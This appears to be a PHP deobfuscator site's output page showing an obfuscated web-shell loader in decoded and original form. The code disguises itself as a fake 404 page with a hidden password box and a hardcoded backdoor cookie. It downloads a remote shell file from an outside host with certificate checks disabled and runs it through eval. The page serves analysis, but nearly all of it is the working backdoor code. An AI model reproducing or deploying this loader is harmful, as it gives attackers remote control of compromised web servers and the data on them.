Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* __________________________________________________ | Obfuscated SXSEC ..
Decoded Output download
<?php
/* __________________________________________________
| Obfuscated SXSEC |
| Admin Judol Bangsat |
| Asa De Kontol |
|__________________________________________________|
*/
goto Ve4; Tou: goto ia2; goto V_b; Gn7: c8j: goto EXE; EXE: function eIS($vW7) { goto yP0; CpL: ZcB: goto U6D; SLD: goto ZcB; goto vrC; U6D: return $qwj; goto niG; Kpf: fclose($AgZ); goto CpL; Pqe: $AgZ = fopen($vW7, "r"); goto oVZ; dku: if (function_exists("fopen") && function_exists("stream_get_contents")) { goto xE8; } goto ZyU; pOo: curl_close($CmC); goto ybf; uqV: curl_setopt($CmC, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); goto aNO; r7P: curl_setopt($CmC, CURLOPT_FOLLOWLOCATION, 1); goto uqV; xkc: $qwj = curl_exec($CmC); goto pOo; aNO: curl_setopt($CmC, CURLOPT_SSL_VERIFYPEER, 0); goto Ncy; lWV: I9b: goto eS2; jgK: goto ZcB; goto LKI; oVZ: $qwj = stream_get_contents($AgZ); goto Kpf; a1N: if (function_exists("file_get_contents")) { goto I9b; } goto dku; Ncy: curl_setopt($CmC, CURLOPT_SSL_VERIFYHOST, 0); goto xkc; Eek: curl_setopt($CmC, CURLOPT_RETURNTRANSFER, 1); goto r7P; ybf: goto ZcB; goto lWV; eS2: $qwj = file_get_contents($vW7); goto jgK; ZyU: $qwj = false; goto SLD; yP0: if (function_exists("curl_exec")) { goto U0w; } goto a1N; vrC: U0w: goto c9U; c9U: $CmC = curl_init($vW7); goto Eek; LKI: xE8: goto Pqe; niG: } goto m6d; dDU: EBE: goto Tbp; Vwc: $sgx = "2c7cd2b87594fd6f64b43276b92b0bb2"; goto FoW; V_b: tpR: goto rYq; AGt: goto kk8; goto Gn7; YqS: echo "Wrong password."; goto Tou; p_B: if (uta()) { goto c8j; } goto Su1; FoW: if (md5($yyX) === $sgx) { goto tpR; } goto YqS; Ve4: function Uta() { return isset($_COOKIE["user_id"]) && $_COOKIE["user_id"] === "user123"; } goto p_B; ua2: ia2: goto dDU; m6d: $vWN = EiS("https://shell.prinsh.com/Nathan/alfa.txt"); goto smj; Tbp: echo "\xd\xa <!DOCTYPE html>\xd\xa <html lang="en">
<head>
\xa <meta charset="UTF-8">\xd
<meta name="viewport" content="width=device-width, initial-scale=1.0">\xd
<title>404 Not Found</title>
\xa <style>\xd
body {
\xa display: flex;
\xa align-items: center;
justify-content: center;
\xa height: 100vh;\xd\xa margin: 0;
background-color: #f8f9fa;
font-family: Arial, sans-serif;
}\xd
.password-form {\xd\xa position: fixed;\xd\xa bottom: 10px;
right: 10px;
\xa text-align: right;
\xa }
\xd
.password-form label {\xd
display: none;
\xa }
\xd\xa .password-form input[type="password"] {\xd
padding: 5px;\xd\xa border: none;
\xa background: transparent;\xd
border-bottom: 1px solid #000; /* Add a border for better visibility */
\xa }\xd
\xd\xa .password-form input[type="password"]:focus {\xd\xa outline: none; /* Remove the focus outline for better aesthetics */\xd
}\xd
</style>\xd\xa </head>\xd
<body>
\xa <div class="container">
\xa <h1>404</h1>\xd
<div class="error-message">\xd
<p><strong>Oops! Halaman tidak ditemukan.</strong></p>\xd
<p>Maaf, halaman yang Anda cari mungkin telah dihapus atau tidak tersedia.</p>\xd
<p>Silakan kembali ke <a href="https://freeimghost.net/images/2023/07/04/9613027_201802070448390163.gif">halaman utama</a>.</p>\xd\xa </div>
\xa </div>\xd
<div class="password-form">\xd\xa <form method="POST" action="">
\xa <label for="password">\342\200\xa2</label>\xd\xa <input type="password" id="password" name="password">\xd
</form>\xd
</div>
\xa </body>
\xa </html>\xd\xa\xd
"; goto AGt; smj: eval("?>" . $vWN); goto hXM; Su1: if (!isset($_POST["password"])) { goto EBE; } goto OxG; OxG: $yyX = $_POST["password"]; goto Vwc; rYq: setcookie("user_id", "user123", time() + 3600, "/"); goto ua2; hXM: kk8:
?>
Did this file decode correctly?
Original Code
<?php
/* __________________________________________________
| Obfuscated SXSEC |
| Admin Judol Bangsat |
| Asa De Kontol |
|__________________________________________________|
*/
goto Ve4; Tou: goto ia2; goto V_b; Gn7: c8j: goto EXE; EXE: function eIS($vW7) { goto yP0; CpL: ZcB: goto U6D; SLD: goto ZcB; goto vrC; U6D: return $qwj; goto niG; Kpf: fclose($AgZ); goto CpL; Pqe: $AgZ = fopen($vW7, "\x72"); goto oVZ; dku: if (function_exists("\146\157\160\x65\x6e") && function_exists("\163\x74\x72\145\141\x6d\x5f\147\x65\x74\137\x63\157\156\164\145\156\164\163")) { goto xE8; } goto ZyU; pOo: curl_close($CmC); goto ybf; uqV: curl_setopt($CmC, CURLOPT_USERAGENT, "\115\x6f\172\151\x6c\x6c\x61\x2f\65\56\60\x20\x28\127\151\156\x64\157\167\x73\x20\116\124\40\66\56\x31\x3b\40\162\x76\72\63\62\x2e\60\x29\40\107\x65\143\153\x6f\57\62\60\61\60\60\x31\60\61\40\106\151\x72\x65\x66\157\170\57\x33\62\x2e\x30"); goto aNO; r7P: curl_setopt($CmC, CURLOPT_FOLLOWLOCATION, 1); goto uqV; xkc: $qwj = curl_exec($CmC); goto pOo; aNO: curl_setopt($CmC, CURLOPT_SSL_VERIFYPEER, 0); goto Ncy; lWV: I9b: goto eS2; jgK: goto ZcB; goto LKI; oVZ: $qwj = stream_get_contents($AgZ); goto Kpf; a1N: if (function_exists("\x66\151\154\145\137\147\145\x74\x5f\x63\157\156\x74\145\x6e\x74\x73")) { goto I9b; } goto dku; Ncy: curl_setopt($CmC, CURLOPT_SSL_VERIFYHOST, 0); goto xkc; Eek: curl_setopt($CmC, CURLOPT_RETURNTRANSFER, 1); goto r7P; ybf: goto ZcB; goto lWV; eS2: $qwj = file_get_contents($vW7); goto jgK; ZyU: $qwj = false; goto SLD; yP0: if (function_exists("\x63\x75\x72\x6c\x5f\145\x78\145\x63")) { goto U0w; } goto a1N; vrC: U0w: goto c9U; c9U: $CmC = curl_init($vW7); goto Eek; LKI: xE8: goto Pqe; niG: } goto m6d; dDU: EBE: goto Tbp; Vwc: $sgx = "\62\143\x37\143\x64\x32\142\70\67\x35\71\x34\146\x64\66\146\x36\64\x62\x34\63\x32\67\66\x62\x39\62\x62\60\x62\142\62"; goto FoW; V_b: tpR: goto rYq; AGt: goto kk8; goto Gn7; YqS: echo "\127\x72\157\x6e\x67\x20\x70\141\x73\163\x77\157\x72\x64\x2e"; goto Tou; p_B: if (uta()) { goto c8j; } goto Su1; FoW: if (md5($yyX) === $sgx) { goto tpR; } goto YqS; Ve4: function Uta() { return isset($_COOKIE["\165\x73\x65\162\137\x69\x64"]) && $_COOKIE["\x75\163\x65\162\137\x69\144"] === "\x75\163\145\162\x31\62\x33"; } goto p_B; ua2: ia2: goto dDU; m6d: $vWN = EiS("\150\x74\x74\x70\163\x3a\57\x2f\x73\150\x65\x6c\154\56\x70\x72\151\x6e\163\x68\56\x63\x6f\x6d\57\116\x61\164\x68\x61\x6e\57\141\x6c\x66\x61\x2e\x74\x78\164"); goto smj; Tbp: echo "\xd\xa\x20\40\x20\x20\74\41\104\117\103\124\131\x50\x45\x20\150\x74\155\x6c\76\xd\xa\x20\x20\x20\x20\74\x68\x74\x6d\154\x20\x6c\x61\x6e\x67\x3d\42\x65\x6e\42\x3e\15\12\40\40\x20\40\74\x68\145\141\144\x3e\15\xa\x20\x20\40\x20\40\40\x20\x20\x3c\155\145\164\x61\40\143\x68\141\162\163\x65\164\75\x22\125\x54\106\x2d\x38\42\76\xd\12\40\x20\x20\40\40\40\40\x20\74\155\x65\x74\141\x20\x6e\141\x6d\x65\x3d\42\166\x69\x65\167\x70\x6f\x72\164\42\x20\143\157\x6e\x74\x65\x6e\x74\75\x22\167\x69\x64\164\150\75\144\145\166\x69\x63\x65\55\x77\x69\x64\x74\150\54\x20\151\x6e\151\164\151\141\x6c\x2d\x73\x63\141\154\x65\x3d\61\x2e\60\42\x3e\xd\12\x20\40\40\40\40\x20\x20\x20\x3c\x74\151\x74\x6c\145\x3e\64\x30\x34\x20\116\x6f\164\x20\106\157\x75\x6e\144\74\57\x74\x69\x74\x6c\145\x3e\15\xa\x20\x20\x20\40\x20\40\x20\x20\74\x73\164\171\154\x65\x3e\xd\12\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x62\157\x64\171\40\173\15\xa\40\40\x20\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\x20\x64\x69\x73\x70\x6c\141\x79\72\x20\146\x6c\145\170\73\15\xa\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\40\40\40\x61\154\151\x67\156\55\x69\x74\x65\155\163\72\x20\x63\145\156\164\145\162\73\15\12\x20\40\40\40\x20\40\40\40\40\x20\40\x20\40\40\x20\40\152\x75\163\x74\x69\x66\x79\x2d\x63\157\x6e\x74\145\x6e\164\72\40\143\x65\156\164\x65\x72\x3b\15\xa\40\40\x20\x20\x20\40\40\40\40\40\40\x20\40\40\40\x20\150\x65\151\147\x68\164\72\40\x31\x30\x30\x76\x68\73\xd\xa\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\155\x61\x72\x67\151\x6e\72\x20\x30\73\15\12\x20\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\40\40\x20\x62\141\x63\x6b\x67\x72\157\x75\156\144\55\143\x6f\x6c\x6f\x72\72\40\43\146\x38\x66\x39\146\x61\73\15\12\40\40\x20\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x66\157\x6e\x74\55\146\x61\155\x69\x6c\171\72\40\x41\162\151\141\x6c\54\x20\163\141\x6e\x73\55\163\145\162\151\x66\73\15\12\x20\x20\x20\x20\x20\x20\40\40\40\40\40\40\175\xd\12\15\12\x20\x20\x20\x20\40\40\x20\40\40\40\40\40\x2e\160\141\x73\163\167\x6f\x72\x64\x2d\146\157\162\155\x20\x7b\xd\xa\40\40\x20\40\40\x20\x20\40\40\40\40\x20\40\40\x20\40\160\x6f\163\151\164\151\x6f\156\x3a\40\146\151\x78\145\x64\73\xd\xa\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x62\157\164\164\x6f\x6d\x3a\x20\61\60\160\170\x3b\15\12\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\162\x69\147\150\x74\x3a\40\x31\60\x70\170\73\15\xa\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\x20\164\145\170\x74\x2d\141\x6c\151\147\156\72\x20\162\x69\147\x68\x74\73\15\xa\x20\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x7d\15\12\xd\12\x20\40\40\x20\x20\40\x20\x20\40\40\40\x20\56\160\x61\x73\163\x77\x6f\162\144\x2d\146\157\x72\155\40\154\141\142\x65\x6c\x20\173\xd\12\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\144\x69\163\160\x6c\141\171\x3a\40\156\157\x6e\145\73\15\xa\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\175\15\12\xd\xa\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x2e\x70\x61\163\x73\x77\157\162\x64\x2d\146\x6f\162\155\40\x69\156\x70\165\164\x5b\x74\171\x70\x65\x3d\42\x70\141\x73\x73\167\x6f\162\144\x22\135\40\173\xd\12\x20\x20\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\40\x20\160\x61\144\144\151\x6e\147\72\40\65\x70\x78\73\xd\xa\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\x62\x6f\x72\144\x65\162\x3a\40\156\x6f\x6e\145\73\15\xa\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\144\x3a\40\164\162\x61\156\163\x70\141\162\145\x6e\164\x3b\xd\12\40\40\40\x20\40\40\40\40\40\40\x20\x20\40\x20\40\x20\x62\x6f\x72\x64\x65\162\55\x62\x6f\x74\x74\x6f\155\72\x20\61\x70\170\40\x73\157\x6c\151\x64\x20\43\60\60\x30\x3b\40\57\x2a\x20\101\144\144\x20\141\40\x62\x6f\x72\144\x65\162\40\146\x6f\162\40\142\145\x74\164\x65\x72\x20\x76\x69\163\151\142\151\154\151\x74\x79\40\x2a\57\15\xa\x20\40\x20\40\40\x20\x20\40\x20\x20\40\40\175\xd\12\xd\xa\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\56\160\x61\x73\163\x77\x6f\162\x64\x2d\x66\157\162\x6d\40\151\156\x70\165\x74\x5b\164\x79\x70\x65\75\x22\160\x61\163\163\167\x6f\162\x64\42\x5d\72\146\x6f\143\165\163\40\x7b\xd\xa\x20\40\40\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\x6f\165\164\x6c\x69\x6e\145\x3a\x20\x6e\x6f\156\145\x3b\40\x2f\x2a\40\122\145\155\x6f\x76\x65\x20\x74\x68\x65\x20\146\x6f\143\165\163\x20\157\165\x74\154\151\x6e\x65\x20\x66\x6f\x72\40\x62\x65\x74\x74\x65\162\x20\141\x65\163\x74\150\145\x74\x69\143\x73\40\52\57\xd\12\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\175\xd\12\x20\40\x20\x20\40\x20\x20\x20\x3c\x2f\163\x74\x79\154\145\x3e\xd\xa\40\x20\40\40\74\57\150\x65\x61\x64\76\xd\12\40\x20\x20\x20\x3c\x62\157\x64\171\x3e\15\xa\40\x20\x20\x20\74\144\151\166\x20\x63\x6c\141\x73\163\75\42\143\x6f\156\x74\x61\151\x6e\145\162\42\x3e\15\xa\x20\x20\40\x20\40\x20\40\40\74\150\x31\x3e\x34\60\x34\x3c\x2f\x68\61\76\xd\12\x20\40\40\x20\x20\x20\40\x20\74\x64\151\x76\x20\143\x6c\141\163\163\x3d\x22\x65\162\x72\x6f\162\x2d\x6d\x65\163\x73\141\x67\145\x22\x3e\xd\12\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\x3c\x70\76\74\163\164\162\157\156\147\x3e\117\x6f\160\163\41\x20\x48\141\x6c\141\155\141\156\40\164\x69\x64\x61\x6b\x20\x64\151\x74\145\155\x75\153\x61\156\x2e\x3c\57\x73\164\x72\157\x6e\x67\x3e\74\57\160\76\xd\12\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\x3c\x70\x3e\115\x61\x61\146\x2c\40\x68\141\x6c\141\x6d\x61\x6e\40\171\x61\156\147\40\101\156\144\x61\x20\143\x61\162\151\x20\155\x75\156\147\x6b\x69\156\40\164\145\154\x61\x68\40\x64\151\x68\141\x70\x75\163\x20\141\164\x61\165\x20\164\x69\x64\x61\153\x20\164\145\x72\x73\x65\144\151\x61\x2e\x3c\57\x70\x3e\xd\12\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\74\x70\x3e\123\x69\x6c\141\x6b\141\156\x20\x6b\x65\155\142\141\x6c\151\40\153\145\x20\74\x61\x20\150\162\145\x66\x3d\x22\150\x74\x74\160\163\72\57\57\x66\162\x65\x65\x69\155\147\x68\157\x73\164\x2e\x6e\145\x74\57\151\x6d\x61\147\145\163\x2f\62\60\x32\63\x2f\x30\x37\57\60\x34\x2f\71\66\61\x33\x30\x32\67\137\62\60\x31\x38\x30\x32\60\67\60\64\64\x38\x33\x39\x30\x31\x36\63\56\x67\x69\146\x22\x3e\150\141\154\141\x6d\x61\x6e\x20\165\x74\x61\155\x61\x3c\x2f\x61\x3e\56\x3c\57\160\76\xd\xa\40\40\x20\40\40\40\x20\40\74\x2f\144\151\166\x3e\15\xa\40\40\x20\40\x3c\x2f\x64\x69\x76\x3e\xd\12\x20\x20\x20\40\x20\x20\x20\x20\x3c\144\x69\166\40\143\x6c\141\163\163\75\x22\160\141\x73\163\x77\157\162\x64\55\x66\x6f\162\x6d\x22\x3e\xd\xa\40\40\40\x20\40\x20\40\40\x20\x20\x20\40\74\x66\157\162\x6d\40\155\x65\x74\x68\157\144\x3d\x22\x50\117\x53\124\42\40\141\x63\x74\151\157\156\75\42\x22\x3e\15\xa\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\74\154\141\x62\145\x6c\x20\146\157\x72\x3d\42\160\x61\163\163\x77\157\x72\144\x22\x3e\342\200\xa2\x3c\57\x6c\141\142\145\154\76\xd\xa\40\x20\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\40\x3c\x69\156\160\x75\x74\x20\164\171\160\145\75\x22\160\x61\163\x73\x77\x6f\x72\x64\42\x20\x69\x64\75\42\x70\x61\x73\x73\x77\157\162\x64\x22\x20\156\141\155\x65\75\42\160\x61\x73\163\x77\x6f\x72\x64\42\x3e\xd\12\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\74\57\x66\x6f\162\155\x3e\xd\12\40\x20\x20\x20\x20\40\40\40\x3c\x2f\144\x69\x76\x3e\15\xa\x20\40\40\x20\x3c\x2f\x62\157\x64\x79\76\15\xa\x20\x20\x20\x20\74\x2f\x68\164\155\154\x3e\xd\xa\xd\12\x20\40\x20\40"; goto AGt; smj: eval("\77\76" . $vWN); goto hXM; Su1: if (!isset($_POST["\x70\x61\x73\163\x77\x6f\162\x64"])) { goto EBE; } goto OxG; OxG: $yyX = $_POST["\160\x61\163\163\167\x6f\x72\x64"]; goto Vwc; rYq: setcookie("\165\x73\x65\162\137\x69\144", "\x75\163\145\162\x31\62\x33", time() + 3600, "\x2f"); goto ua2; hXM: kk8:
Function Calls
None |
Stats
MD5 | 4f0dcbadc45c380a748c06796c6e5598 |
Eval Count | 0 |
Decode Time | 59 ms |